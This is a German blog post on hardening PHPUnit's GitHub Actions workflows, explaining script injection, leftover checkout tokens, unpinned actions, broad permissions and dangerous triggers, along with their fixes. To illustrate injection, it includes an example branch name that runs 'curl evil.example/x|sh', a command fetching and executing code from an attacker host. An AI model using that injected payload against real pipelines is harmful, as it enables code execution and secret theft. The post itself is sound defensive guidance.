GitHub Actions ist direkt in GitHub integriert und stellt eine Plattform für Continuous Integration/Continuous Delivery (CI/CD) und Automatisierung bereit. Workflows werden in virtuellen Umgebungen ausgeführt und können durch GitHub-Ereignisse wie Pushes, Pull Requests oder zeitgesteuerte Trigger angestoßen werden.
Dabei geht leicht unter, dass diese Maschinen Zugangsdaten kennen, Netzwerkzugriff haben und in mein Repository zurückschreiben dürfen. Ein Workflow ist Code, und Code, der Geheimnisse berührt, verdient die gleiche Behandlung wie jeder andere sicherheitsrelevante Code.
Dieses Wochenende habe ich die GitHub Actions-Workflows von PHPUnit (und seinen Abhängigkeiten) durchgearbeitet und Schritt für Schritt gehärtet. Um die Schwachstellen zu finden, habe ich ein statisches Analysewerkzeug verwendet, das Workflow-Dateien gegen einen Katalog bekannter Schwächen prüft. Vor dem ersten Hardening-Commit meldete er 52 Funde in drei Workflow-Dateien. Nach dem letzten meldet er keinen mehr.
Im weiteren Verlauf dieses Artikels gehe ich die Arten von Funden durch, die der statische Analysator gemeldet hat, erkläre, warum jede ausnutzbar ist, und zeige, wie ich das Problem behoben habe.
Script Injection durch Template Expansion
Die erste und gefährlichste Kategorie war Template Injection. Der CI-Workflow enthielt an mehreren Stellen eine Zeile, die harmlos genug aussah:
BRANCH=$([ "${{ github.event_name }}" == "pull_request" ] && echo "${{ github.head_ref }}" || echo "${{ github.ref_name }}")
GitHub Actions expandiert ${{ ... }}-Ausdrücke, bevor die Shell das Skript überhaupt liest. Der Runner nimmt den Wert von github.head_ref, fügt ihn als literalen String in das Skript ein und übergibt das Ergebnis erst dann an bash zur Interpretation.
github.head_ref ist der Name des Quell-Branches eines Pull Requests. In einem Fork wählt die Person, die den Pull Request öffnet, diesen Namen. Ein Branch namens main";curl evil.example/x|sh;# ist ein vollkommen gültiger Git-Branch-Name, und wenn GitHub ihn in das obige Skript einsetzt, lautet das resultierende Shell-Kommando:
BRANCH=$([ "pull_request" == "pull_request" ] && echo "main";curl evil.example/x|sh;#" || echo "...")
Der Runner führt das bereitwillig aus. Mit einem einzigen Pull Request kann eine angreifende Person beliebigen Code auf dem Runner ausführen – mit allen Secrets und Tokens, die diesem Workflow zur Verfügung stehen. Diese Angriffsklasse heißt Poisoned Pipeline Execution — das GitHub-Actions-Äquivalent zu SQL Injection: nicht vertrauenswürdige Daten werden in Code konkateniert.
Die Lösung besteht darin, niemals ${{ ... }}-Ausdrücke in ein Shell-Skript zu interpolieren. Stattdessen werden die Werte über Umgebungsvariablen übergeben und im Skript korrekt gequotet:
- name: Use local branch
shell: bash
env:
EVENT_NAME: ${{ github.event_name }}
HEAD_REF: ${{ github.head_ref }}
REF_NAME: ${{ github.ref_name }}
run: |
if [ "$EVENT_NAME" = "pull_request" ]; then
BRANCH="$HEAD_REF"
else
BRANCH="$REF_NAME"
fi
git branch -D "$BRANCH" 2>/dev/null || true
git branch "$BRANCH" HEAD
git checkout "$BRANCH"
Die Werte kommen weiterhin von GitHub, erreichen das Skript aber als gewöhnliche Shell-Variablen. Die Shell interpretiert sie nicht erneut als Code, und der Payload der angreifenden Person bleibt der literale String, der er von Anfang an sein sollte.
Verbleibende Zugangsdaten nach Checkout
Der nächste Fund trug das Etikett ArtiPACKED: Persistenz von Zugangsdaten über GitHub Actions-Artefakte.
Standardmäßig schreibt die Action actions/checkout das GITHUB_TOKEN des Workflows in .git/config, damit spätere Schritte als der Workflow Commits pushen oder die GitHub-API aufrufen können. Für die meisten Jobs wird dieses Token nach dem Checkout nie wieder benötigt. Es liegt im Arbeitsverzeichnis, bis der Job endet.
Dieses Token ist nicht harmlos. Alles, was nach dem Checkout-Schritt läuft, kann es lesen. Ein Composer-Plugin, ein Test, der Coverage hochlädt, eine Third-Party-Action, deren Tag stillschweigend verschoben wurde, ein Build-Skript, das den aktuellen Verzeichnisbaum in die Logs schreibt: jedes davon kann das Token extrahieren und damit unter der Identität des Workflows ins Repository pushen oder die API aufrufen. Wenn das Arbeitsverzeichnis als Artefakt hochgeladen wird, verlässt das Token den Runner vollständig.
Die Lösung ist eine Zeile pro Checkout:
- name: Checkout
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
with:
persist-credentials: false
Während des Checkouts selbst steht das Token weiterhin zur Verfügung. Es wird danach nur nicht mehr auf die Festplatte geschrieben. Jobs, die das Token tatsächlich brauchen, um etwas zu pushen (der Release-Workflow ruft in diesem Fall gh release create auf), erhalten es über ein explizites env: GH_TOKEN, was die Verwendung bewusst und sichtbar macht.
Ungepinnte Action-Referenzen
Jeder Schritt, der mit uses: beginnt, zieht eine Third-Party-Action in den Workflow. Bis zum Hardening-Pass referenzierten die meisten dieser Schritte Actions über einen verschiebbaren Tag:
uses: actions/checkout@v6 uses: shivammathur/setup-php@v2 uses: actions/cache@v5
Ein Tag ist in Git ein verschiebbares Label. Wer das Repository der Action kontrolliert, kann v6 jederzeit auf einen beliebigen Commit umbiegen. Normalerweise ist das ein Feature. Es bedeutet aber auch, dass eine angreifende Person, die Zugriff auf das Repository einer populären Action erlangt (durch gestohlene Maintainer-Zugangsdaten, eine typosquattete Abhängigkeit, ein kompromittiertes CI-Token), den Tag auf einen bösartigen Commit umbiegen und sofort Code in jedem Workflow ausführen kann, der diese Action verwendet. Der tj-actions/changed-files-Vorfall im März 2025 funktionierte genau so.
Die Lösung besteht darin, jede Action an einen vollständigen Commit-SHA zu pinnen und den Tag als Kommentar zu behalten, damit die Referenz weiterhin lesbar bleibt:
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6 uses: shivammathur/setup-php@7c071dfe9dc99bdf297fa79cb49ea005b9fcadbc # v2 uses: actions/cache@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5
Ein Commit-SHA ist unveränderlich. Ein neuer Release einer Action gelangt nicht mehr automatisch in den Workflow, und Renovate (oder ein vergleichbares Werkzeug) kann die SHAs über Pull Requests aktuell halten, die ich tatsächlich reviewen kann.
Zu weit gefasste Berechtigungen
Jeder Workflow läuft mit einem GITHUB_TOKEN, dessen Geltungsbereich vom permissions-Block bestimmt wird. Existiert ein solcher Block nicht, erhält das Token die Standardberechtigungen des Repositories, die in vielen Repositories nach wie vor Schreibzugriff einschließen.
Der Release-Workflow hatte keinerlei permissions-Block auf oberster Ebene, daher meldete der statische Analysator zu weit gefasste Berechtigungen. Das Angriffsszenario ist naheliegend: eine kompromittierte Action, ein Injection-Fund wie der obige oder eine vergiftete Abhängigkeit, die zufällig während des Release-Workflows läuft, kann alles tun, was das Standard-Token erlaubt. Das kann das Force-Pushen von Branches, das Löschen von Tags oder das Öffnen von Pull Requests gegen das Repository umfassen.
Die Lösung besteht darin, auf Workflow-Ebene standardmäßig alles zu verweigern und pro Job nur den minimal erforderlichen Geltungsbereich zu gewähren:
permissions: {}
jobs:
release:
permissions:
contents: write # needed to create the GitHub Release
Der leere Block auf oberster Ebene bedeutet, dass jeder Job, der vergisst, seine eigenen Berechtigungen zu deklarieren, ohne jegliche Token-Berechtigungen läuft. Ein kurzer Kommentar an jeder Berechtigung erklärt, warum der Geltungsbereich nötig ist, was zukünftige Reviews vereinfacht — und das wiederum ist etwas, das der statische Analysator prüfen kann.
Unnötige Third-Party-Actions
Der Release-Workflow verwendete ncipollo/release-action, um den GitHub-Release zu erstellen. Diese Action tut genau eines, und genau dieses Eine kann auch die GitHub-CLI. Auf dem Runner ist gh bereits installiert.
Jede zusätzliche Third-Party-Action ist ein weiteres Stück Code, das innerhalb des Workflows läuft und Zugriff auf die Secrets hat, die der Job freigibt. Der Superfluous-Actions-Audit des statischen Analysators weist darauf hin, wenn der Runner die Funktionalität, die die Action umschließt, bereits selbst bereitstellt, und das Entfernen dieser Action ist der einfachste Weg, die Angriffsfläche zu reduzieren.
Der Release-Schritt ruft gh nun direkt auf:
- name: Create release
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: gh release create "$RELEASE_TAG" --title "PHPUnit $RELEASE_TAG" --notes-file release-notes.md --target "13.2"
Gefährliche Trigger und die Kunst der Unterdrückung
Nicht jeder Fund eines statischen Analysators muss behoben werden. Manche können wir nur durch eine bewusste Begründung auflösen.
Der Workflow api-surface-comment.yaml reagiert auf das Ereignis workflow_run, damit er Kommentare zu Pull Requests aus Forks schreiben kann. workflow_run ist, wie der statische Analysator zu Recht anmerkt, ein gefährlicher Trigger: er wird mit den Berechtigungen des Basis-Repositories ausgeführt, nicht des Forks – genau das macht ihn nützlich und genau das macht ihn gefährlich. Ein Workflow, der auf workflow_run reagiert und anschließend den Head-Ref des Pull Requests auscheckt, würde von einer angreifenden Person kontrollierten Code mit Schreibzugriff auf das Basis-Repository ausführen.
Die Lösung besteht in diesem Fall nicht darin, den Trigger zu entfernen. Sie besteht darin sicherzustellen, dass nichts im Workflow vom Pull Request beeinflusst werden kann: der Workflow ruft eine einzige gepinnte Action auf, checkt den Code des Pull Requests nicht aus und schreibt nur einen Kommentar. Der Fund wird dann inline mit einem Kommentar unterdrückt, der die Begründung festhält, damit die nächste Person, die in die Datei schaut, sie nicht neu erarbeiten muss:
on:
# zizmor: ignore[dangerous-triggers] workflow_run is required to comment on
# PRs from forks; this workflow only runs a pinned action and does not check
# out PR-controlled code.
workflow_run:
workflows: ["API Surface Check"]
types: [completed]
zizmor
Die oben diskutierten Funde sind keine Besonderheit der Workflows von PHPUnit. Es sind die Arten von Schwächen, die sich in Workflows überall finden lassen, auch in den Workflows der größten Open-Source-Projekte auf GitHub. Ein statischer Analysator ist der günstigste mir bekannte Weg, sie abzufangen, bevor sie in Produktion gelangen.
zizmor ist der statische Analysator, den ich für den Hardening-Pass an PHPUnit verwendet habe. Er läuft lokal, findet jedes der in diesem Artikel beschriebenen Probleme und ist die wenigen Minuten wert, die es kostet, ihn in ein Projekt aufzunehmen. Setze ihn einmal auf die Workflows an, behebe die Funde und integriere ihn in CI, damit die nächste Regression in dem Moment auffällt, in dem sie eingeführt wird:
❯ zizmor -p .github/workflows
Workflows sind Code. Sie verdienen dieselbe Sorgfalt, die wir dem Code zukommen lassen, den sie testen.